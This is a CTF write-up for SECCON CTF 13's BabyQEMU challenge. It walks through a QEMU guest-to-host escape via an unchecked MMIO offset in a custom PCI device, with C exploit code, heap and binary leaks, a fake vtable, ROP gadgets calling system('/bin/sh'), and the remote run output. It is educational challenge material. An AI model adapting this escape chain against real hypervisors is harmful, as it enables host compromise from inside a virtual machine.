SECCON CTF 13 Quals - BabyQEMU

author:ShiftCrops

nc babyqemu.seccon.games 3824

Team: Super Guesser

Attachment: BabyQEMU.tar.gz xpl.py pwn.c

BabyQEMU was nice entry level challenge to learn about QEMU escape. It provided a pci device babydev, which allowed to read/write memory via mmio access.

static uint64_t pci_babydev_mmio_read(void *opaque, hwaddr addr, unsigned size) {
	PCIBabyDevState *ms = opaque;
	struct PCIBabyDevReg *reg = ms->reg_mmio;

	debug_printf("addr:%lx, size:%d\n", addr, size);

	switch(addr){
		case MMIO_GET_DATA:
			debug_printf("get_data (%p)\n", &ms->buffer[reg->offset]);
			return *(uint64_t*)&ms->buffer[reg->offset];
	}
	
	return -1;
}

static void pci_babydev_mmio_write(void *opaque, hwaddr addr, uint64_t val, unsigned size) {
	PCIBabyDevState *ms = opaque;
	struct PCIBabyDevReg *reg = ms->reg_mmio;

	debug_printf("addr:%lx, size:%d, val:%lx\n", addr, size, val);

	switch(addr){
		case MMIO_SET_OFFSET:
			reg->offset = val;
			break;
		case MMIO_SET_OFFSET+4:
			reg->offset |= val << 32;
			break;
		case MMIO_SET_DATA:
			debug_printf("set_data (%p)\n", &ms->buffer[reg->offset]);
			*(uint64_t*)&ms->buffer[reg->offset] = (val & ((1UL << size*8) - 1)) | (*(uint64_t*)&ms->buffer[reg->offset] & ~((1UL << size*8) - 1));
			break;
	}
}

Since there are no out-of-bounds check at all in place, we can read anywhere in QEMU memory (knowing the offsets between the different memory regions, we can even read outside of qemu heap).

So, we just need to write some code to access the device and map a mmio region to trigger the functions inside the device.

For doing mmio access, we have to map a memory region to the pci device. Then we can trigger the different functions by writing values to specific offsets in that memory region.

For reading or writing data, we first have to set reg->offset to the offset, from which we want to read/write. This can be done, by writing the lower 32bit of the offset to mmio_mem + MMIO_SET_OFFSET and the higher 32bit of the offset to mmio_mem + MMIO_SET_OFFSET+4.

Reading data from the previously set offset, can then be done by reading from mmio_mem + MMIO_GET_DATA.

Writing data is done by writing to mmio_mem + MMIO_SET_DATA.

So, let’s create some starter code for this:

#include <stdio.h>
#include <fcntl.h>
#include <stdint.h>
#include <stdlib.h>
#include <string.h>
#include <unistd.h>
#include <sys/mman.h>

#define MMIO_SET_OFFSET 0
#define MMIO_SET_DATA 8
#define MMIO_GET_DATA 8

unsigned char *mmio_mem;

void mmio_write(uint32_t addr, uint32_t value)
{
    *(uint32_t *)(mmio_mem + addr) = value;
}

uint32_t mmio_read(uint32_t addr)
{
    return *(uint32_t *)(mmio_mem + addr);
}

void set_offset_lo(uint32_t value)
{
    mmio_write(MMIO_SET_OFFSET, value);
}

void set_offset_hi(uint32_t value)
{
    mmio_write(MMIO_SET_OFFSET + 4, value);
}

void set_value(uint32_t value)
{
    mmio_write(MMIO_SET_DATA, value);
}

uint64_t get_value()
{
    return mmio_read(MMIO_GET_DATA);
}

int main()
{
    int mmio_fd = open("/sys/devices/pci0000:00/0000:00:04.0/resource0", O_RDWR | O_SYNC);

    mmio_mem = mmap(NULL, 0x1000, PROT_READ | PROT_WRITE, MAP_SHARED, mmio_fd, 0);

    printf("MMIO FD: %p\n", mmio_fd);
    printf("MMIO MEM: %p\n", mmio_mem);

    munmap(mmio_mem, 0x1000);
    close(mmio_fd);
}

Now, let’s take a look at the memory region, we can directly access via pci_babydev_mmio_write.

──────────────────────────────────────────────────────────────────────────────────────────────── registers ────
$rax   : 0x0000555556271100  →  0x0000555555902170  →   endbr64 
$rbx   : 0x00005555580b2800  →  0x00005555570a35b0  →  0x0000555556ffaed0  →  0x0000555556ffb050  →  "memory-region"
$rcx   : 0x4               
$rdx   : 0x120             
$rsp   : 0x00007ffff55feb58  →  0x0000555555c88034  →   mov rax, QWORD PTR [rsp+0x38]
$rbp   : 0x120             
$rsi   : 0x0               
$rdi   : 0x00005555580b1d20  →  0x000055555714c7b0  →  0x0000555556fa4100  →  0x0000555556fa4280  →  0x0000000079626162 ("baby"?)
$rip   : 0x00005555559021b0  →   endbr64 
$r8    : 0x0               
$r9    : 0xffffffff        
$r10   : 0x0               
$r11   : 0x0               
$r12   : 0x0               
$r13   : 0x4               
$r14   : 0x4               
$r15   : 0x0000555555c87fb0  →   endbr64 
$eflags: [ZERO carry PARITY adjust sign trap INTERRUPT direction overflow resume virtualx86 identification]
$cs: 0x33 $ss: 0x2b $ds: 0x00 $es: 0x00 $fs: 0x00 $gs: 0x00 
─────────────────────────────────────────────────────────────────────────────────────── code:x86:64 ────
   0x5555559021a4                  xor    edi, edi
   0x5555559021a6                  ret    
   0x5555559021a7                  nop    WORD PTR [rax+rax*1+0x0]
●→ 0x5555559021b0                  endbr64 
   0x5555559021b4                  mov    rax, QWORD PTR [rdi+0xbf0]
   0x5555559021bb                  mov    r8, rdx
   0x5555559021be                  cmp    rsi, 0x4
   0x5555559021c2                  je     0x555555902220
   0x5555559021c4                  cmp    rsi, 0x8
────────────────────────── extra ────
[+] Hit breakpoint *0x00005555559021B0 (mmio_write)

gef➤  x/30gx $rdi
0x5555580b1d20:	0x000055555714c7b0	0x00007ffff78c76f0  <= opaque
0x5555580b1d30:	0x00005555580b0ae0	0x0000000000000009
0x5555580b1d40:	0x0000555557250970	0x0000000000000000
0x5555580b1d50:	0x00005555580b07e0	0x0000000000000001
0x5555580b1d60:	0x0000000000000000	0x00005555580b2a90
0x5555580b1d70:	0x0000000000000000	0x0000555557334e90
0x5555580b1d80:	0x0000000000000000	0x0000000000000000
0x5555580b1d90:	0x0000000000000000	0xffffffff00000000
0x5555580b1da0:	0x0000000000000000	0x0000000000000000
0x5555580b1db0:	0x0000000000000000	0x0000000000000001
0x5555580b1dc0:	0x0000000000000100	0x00005555580b4220
0x5555580b1dd0:	0x00005555580b4330	0x00005555580b4440
0x5555580b1de0:	0x00005555580b4550	0x00005555580b4660
0x5555580b1df0:	0x0000000000000020	0x00005555580b1d20 <= x / ptr to opaque
0x5555580b1e00:	0x0000000000000001	0x0000000079626162

gef➤  x/30gx $rdi+0xbf8
0x5555580b2918:	0x0000000000000000	0x0000000000000000 <= ms->buffer
0x5555580b2928:	0x0000000000000000	0x0000000000000000
0x5555580b2938:	0x0000000000000000	0x0000000000000000
0x5555580b2948:	0x0000000000000000	0x0000000000000000
0x5555580b2958:	0x0000000000000000	0x0000000000000000

...

0x5555580b2a08:	0x0000000000000000	0x0000000000000000
0x5555580b2a18:	0x0000000000000000	0x0000000000000000
0x5555580b2a28:	0x0000000000000061	0x00005555580b0c40
0x5555580b2a38:	0x00005555580b0c20	0x0000000000000000  <= QEMU heap leak
0x5555580b2a48:	0x0000555555d084a0	0x0000000000000000  <= QEMU leak
0x5555580b2a58:	0x0000555555d03330	0x0000555555d05bd0
0x5555580b2a68:	0x0000000000000000	0x00005555580b1d20
0x5555580b2a78:	0x0000000000000000	0x0000000000000000

There are already all leaks in reach, which we need for this challenge. We just have to use offsets relatively to ms->buffer (which is located at opaque+0xbf8).

uint64_t read_addr_offset(uint64_t offset)
{
    set_offset_lo(offset & 0xffffffff);
    set_offset_hi((offset >> 32) & 0xffffffff);
    uint64_t addr_lo = get_value();

    set_offset_lo((offset + 4) & 0xffffffff);
    set_offset_hi(((offset + 4) >> 32) & 0xffffffff);
    uint64_t addr_hi = get_value();

    return (addr_hi << 32) | addr_lo;
}

int main()
{
    ...

    uint64_t heapleak = read_addr_offset(0x120);
    uint64_t qemuleak = read_addr_offset(0x130);
    uint64_t qemubase = qemuleak - 0x7b44a0;
    uint64_t opaque = read_addr_offset(-0xbf8 + 0xd8);
    
    printf("HEAP leak     : %p\n", heapleak);
    printf("QEMU leak     : %p\n", qemuleak);
    printf("QEMU base     : %p\n", qemubase);
    printf("opaque        : %p\n", opaque);    

Didn’t have symbols to find the correct vtables, so I just went haywire and overwrote everything on the heap to find out, if there’s some kind of vtable, that would get called.

And found this candidate:

───────────────────────────────────────────────────────────────────────────────────────── registers ────
$rax   : 0x5555deadbeef    
$rbx   : 0x00005555572d1f80  →  0x00005555570a35b0  →  0x0000555556ffaed0  →  0x0000555556ffb050  →  "memory-region"
$rcx   : 0x1               
$rdx   : 0x4               
$rsp   : 0x00007ffff55feec0  →  0x00000000000000b0
$rbp   : 0x4               
$rsi   : 0xb0              
$rdi   : 0x00005555572d1f80  →  0x00005555570a35b0  →  0x0000555556ffaed0  →  0x0000555556ffb050  →  "memory-region"
$rip   : 0x0000555555c87011  →   mov r9, QWORD PTR [rax+0x38]
$r8    : 0x0               
$r9    : 0x0               
$r10   : 0x0               
$r11   : 0x0               
$r12   : 0xb0              
$r13   : 0x1               
$r14   : 0x0               
$r15   : 0x2               
$eflags: [zero carry PARITY adjust sign trap INTERRUPT direction overflow RESUME virtualx86 identification]
$cs: 0x33 $ss: 0x2b $ds: 0x00 $es: 0x00 $fs: 0x00 $gs: 0x00 
────────────────────────────────────────────────────────────────────────────────────────────────────── code:x86:64 ────
   0x555555c87006                  mov    rbx, rdi
   0x555555c87009                  sub    rsp, 0x8
   0x555555c8700d                  mov    rax, QWORD PTR [rdi+0x50]
 → 0x555555c87011                  mov    r9, QWORD PTR [rax+0x38]
   0x555555c87015                  test   r9, r9
   0x555555c87018                  je     0x555555c8702c
   0x555555c8701a                  mov    rdi, QWORD PTR [rdi+0x58]
   0x555555c8701e                  movzx  ecx, cl
   0x555555c87021                  call   r9

Since we control rax at this point, we can also let it point to somewhere on the heap, where we can prepare a fake vtable, which would then give us more control over code execution.

After some digging through the heap, I found a reference to this, with which we can calculate the offset to overwrite to control it.

uint64_t mmio_ptr = read_addr_offset(-0xbf8 - 0x7b0);
uint64_t target_off = opaque - mmio_ptr - 0x50;

printf("mmio_ptr      : %p\n", mmio_ptr);
printf("target_off    : %p\n", target_off);

Now we just have to put everything together. To get control over rdi, I used this gadget

0x0000000000575a0e: mov rdi, qword ptr [rax + 0x10]; call qword ptr [rax];

With this, we can set rdi and call another function. Calling system directly would segfault though, since the stack is currently not correctly aligned. We could get around this, by using an offset to system fixing the stack, but I just went using another call gadget

0x000000000035f5d5: call qword ptr [rax + 8];

This would move the stack by 8 bytes, aligning it, and then call system.

// 0x0000000000575a0e: mov rdi, qword ptr [rax + 0x10]; call qword ptr [rax];
// 0x000000000035f5d5: call qword ptr [rax + 8];
uint64_t system = qemubase + 0x324150;
uint64_t setrdigadget = qemubase + 0x0000000000575a0e;

uint64_t callrax8 = qemubase + 0x000000000035f5d5;

write_addr_offset(0x20, callrax8 & 0xffffffff);                                 // rax
write_addr_offset(0x24, callrax8 >> 32);                                        // rax

write_addr_offset(0x20 + 0x8, system & 0xffffffff);                             // rax+0x8
write_addr_offset(0x20 + 0x8 + 4, system >> 32);                                // rax+0x8

write_addr_offset(0x20 + 0x10, ((heapleak + 0x1d20) & 0xffffffff) + 0x10);      // rax + 0x10 => address of bin/sh
write_addr_offset(0x20 + 0x10 + 4, heapleak >> 32);

write_addr_offset(0x20 + 0x18, 0x6e69622f);                                     // rax+0x18 => bin/sh
write_addr_offset(0x20 + 0x18 + 4, 0x68732f);

write_addr_offset(0x20 + 0x38, setrdigadget & 0xffffffff); // gadget (call [rax])
write_addr_offset(0x24 + 0x38, setrdigadget >> 32);

write_addr_offset(-0xbf8 - target_off, opaque + 0xbf8 + 0x20);                  // overwrite vtable

Executing this, will now trigger our initial gadget

────────────────────────────────────────────────────────────────────────────────────────────── registers ────
$rax   : 0x00005555580b2938  →  0x00005555558b35d5  →   call QWORD PTR [rax+0x8]
$rbx   : 0x00005555572d1f80  →  0x00005555570a35b0  →  0x0000555556ffaed0  →  0x0000555556ffb050  →  "memory-region"
$rcx   : 0x1               
$rdx   : 0x4               
$rsp   : 0x00007ffff55fec98  →  0x0000555555c87024  →   test al, al
$rbp   : 0x4               
$rsi   : 0x1004            
$rdi   : 0x00005555572d1ee0  →  0x000055555716be60  →  0x0000555556feeec0  →  0x0000555556fef040  →  0x0000000063697061 ("apic"?)
$rip   : 0x0000555555ac9a0e  →   mov rdi, QWORD PTR [rax+0x10]
$r8    : 0x1               
$r9    : 0x0000555555ac9a0e  →   mov rdi, QWORD PTR [rax+0x10]
$r10   : 0x0               
$r11   : 0x0               
$r12   : 0x1004            
$r13   : 0x1               
$r14   : 0x1               
$r15   : 0x2               
$eflags: [zero carry parity adjust sign trap INTERRUPT direction overflow resume virtualx86 identification]
$cs: 0x33 $ss: 0x2b $ds: 0x00 $es: 0x00 $fs: 0x00 $gs: 0x00 
───────────────────────────────────────────────────────────────────────────────────────────── code:x86:64 ────
   0x555555ac9a03                  mov    rbp, QWORD PTR [rbp+0x18]
   0x555555ac9a07                  mov    edx, ebx
   0x555555ac9a09                  mov    esi, 0x1
●→ 0x555555ac9a0e                  mov    rdi, QWORD PTR [rax+0x10]
   0x555555ac9a12                  call   QWORD PTR [rax]
   0x555555ac9a14                  test   rbp, rbp
   0x555555ac9a17                  jne    0x555555ac9a00
   0x555555ac9a19                  mov    rax, QWORD PTR [rsp+0x18]
   0x555555ac9a1e                  sub    rax, QWORD PTR fs:0x28

ef➤  x/30gx $rax+0x10
0x5555580b2948:	0x00005555580b2950	0x0068732f6e69622f <= address to /bin/sh / bin/sh
0x5555580b2958:	0x0000000000000000	0x0000000000000000
0x5555580b2968:	0x0000000000000000	0x0000555555ac9a0e

gef➤  x/s 0x00005555580b2950
0x5555580b2950:	"/bin/sh"

gef➤  x/gx $rax
0x5555580b2938:	0x00005555558b35d5  <= next gadget

Calling the next gadget will result in

─────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────── registers ────
$rax   : 0x00005555580b2938  →  0x00005555558b35d5  →   call QWORD PTR [rax+0x8]
$rbx   : 0x00005555572d1f80  →  0x00005555570a35b0  →  0x0000555556ffaed0  →  0x0000555556ffb050  →  "memory-region"
$rcx   : 0x1               
$rdx   : 0x4               
$rsp   : 0x00007ffff55fec90  →  0x0000555555ac9a14  →   test rbp, rbp
$rbp   : 0x4               
$rsi   : 0x1004            
$rdi   : 0x00005555580b2950  →  0x0068732f6e69622f ("/bin/sh"?)
$rip   : 0x00005555558b35d5  →   call QWORD PTR [rax+0x8]
$r8    : 0x1               
$r9    : 0x0000555555ac9a0e  →   mov rdi, QWORD PTR [rax+0x10]
$r10   : 0x0               
$r11   : 0x0               
$r12   : 0x1004            
$r13   : 0x1               
$r14   : 0x1               
$r15   : 0x2               
$eflags: [zero carry parity adjust sign trap INTERRUPT direction overflow resume virtualx86 identification]
$cs: 0x33 $ss: 0x2b $ds: 0x00 $es: 0x00 $fs: 0x00 $gs: 0x00 
─────────────────────────────────────────────────────────────────────────────────────────────── code:x86:64 ────
   0x5555558b35c2                  mov    rax, QWORD PTR [rdi+0x18]
   0x5555558b35c6                  mov    DWORD PTR [rsp+0x4], 0x30
   0x5555558b35ce                  mov    rax, QWORD PTR [rax+0x1c70]
 → 0x5555558b35d5                  call   QWORD PTR [rax+0x8]
   0x5555558b35d8                  mov    rdx, QWORD PTR [rsp+0x18]
   0x5555558b35dd                  sub    rdx, QWORD PTR fs:0x28
   0x5555558b35e6                  jne    0x5555558b35fe
   0x5555558b35e8                  add    rsp, 0xd8
   0x5555558b35ef                  xor    edx, edx

gef➤  x/gx $rax+0x8
0x5555580b2940:	0x0000555555878150

gef➤  x/3i 0x0000555555878150
   0x555555878150 <system@plt>:	endbr64
   0x555555878154 <system@plt+4>:	jmp    QWORD PTR [rip+0x15bebde]        # 0x555556e36d38 <system@got.plt>
   0x55555587815a <system@plt+10>:	nop    WORD PTR [rax+rax*1+0x0]

So rdi pointing to /bin/sh, stack aligned, ready to execute system("/bin/sh").

And running it remote…

PWNLIB_NOTERM=1 python3 xpl.py 1
[*] Compile
[x] Opening connection to babyqemu.seccon.games on port 3824
[x] Opening connection to babyqemu.seccon.games on port 3824: Trying 153.127.217.94
[+] Opening connection to babyqemu.seccon.games on port 3824: Done
[x] Starting local process './pow.sh'
[+] Starting local process './pow.sh': pid 536395
[*] Switching to interactive mode
# ./pwn

HEAP leak     : 0x55f174b098d0
QEMU leak     : 0x55f1599d94a0
QEMU base     : 0x55f159225000
opaque        : 0x55f174b0a9d0
mmio_ptr      : 0x55f173d0af60
target_off    : 0xdffa20
sh: turning off NDELAY mode
ls
bzImage
flag-3d88515f1a04703466da6ca63c4df592.txt
pow.sh
qemu-system-x86_64
roms
rootfs.cpio.gz
run.sh
cat flag*
SECCON{q3mu_35c4p3_15_34513r_7h4n_y0u_7h1nk}